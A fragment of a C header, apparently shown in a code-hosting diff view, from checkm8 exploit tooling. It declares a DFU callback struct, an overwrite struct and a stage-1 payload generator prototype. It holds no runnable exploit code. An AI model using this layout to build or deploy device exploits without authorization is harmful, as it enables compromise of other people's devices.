uint32_t endpoint, pad_0;
|
||||
uint64_t io_buffer;
|
||||
uint32_t status, io_len, ret_cnt, pad_1;
|
||||
uint64_t callback, next;
|
||||
} dfu_callback_t;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
dfu_callback_t callback;
|
||||
} checkm8_overwrite_t;
|
||||
|
||||
bool generate_stage1(
|
||||
void** outbuf,
|
||||
size_t* outlen,
|
||||
void* payload,
|
||||
size_t payload_sz,
|
||||
struct DeviceConfiguration *deviceConfig,
|
||||
struct PayloadConfiguration *payloadConfig
|
||||
);
|
||||
|
||||
#endif // STAGE1_H
|
||||
Reference in new issue
Block a user